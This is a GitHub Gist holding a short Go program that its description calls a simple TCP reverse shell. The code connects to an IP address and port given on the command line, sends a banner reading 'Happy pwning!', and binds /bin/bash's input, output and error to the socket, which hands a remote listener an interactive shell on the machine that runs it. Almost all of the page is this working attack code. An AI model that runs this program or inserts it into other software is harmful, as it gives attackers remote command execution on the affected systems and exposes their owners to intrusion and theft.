Last active
November 19, 2020 20:22
-
-
Save tsumarios/dfb419946961c80c7f12a6bac768ea98 to your computer and use it in GitHub Desktop.
Simple TCP reverse shell written in Go. This program expects two arguments: IP address and the port of the remote host. Usage: "go run revshell.go <IP> <port>" or build a binary and run it with both arguments.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"net" | |
"os" | |
"os/exec" | |
) | |
func main() { | |
// Check args | |
// Usage: ./revshell <IP> <port> | |
if len(os.Args) != 3 { | |
return | |
} | |
asciiart := | |
` | |
============================================================================= | |
##### ###### ##### | |
# # #### # # ###### # # # # # # ###### # # | |
# # # # # # # # # # # # # # | |
# #### # # ###### ##### # # ##### ###### ##### # # | |
# # # # # # # # # # # # # # # | |
# # # # # # # # # # # # # # # # | |
##### #### # # ###### ## ##### # # ###### ###### ###### | |
` | |
// Set vars | |
var ( | |
servAddr string = os.Args[1] | |
servPort string = os.Args[2] | |
endpoint string = servAddr + ":" + servPort | |
) | |
// Try to connect to the server within a TCP socket | |
conn, err := net.Dial("tcp", endpoint) | |
if err != nil { | |
return | |
} | |
defer conn.Close() | |
// Notify the server | |
fmt.Fprintf(conn, "%s\n\n\u269b Established connection from: %s\n\u2620 Happy pwning!\n\n", asciiart, conn.RemoteAddr()) | |
// Look for bash executable | |
bashExec, _ := exec.LookPath("/bin/bash") | |
// Set command options and bind standard input, output and error to the socket | |
cmd := &exec.Cmd{ | |
Path: bashExec, | |
Args: []string{bashExec}, | |
Stdin: conn, | |
Stdout: conn, | |
Stderr: conn, | |
} | |
// Run command | |
if err := cmd.Run(); err != nil { | |
return | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment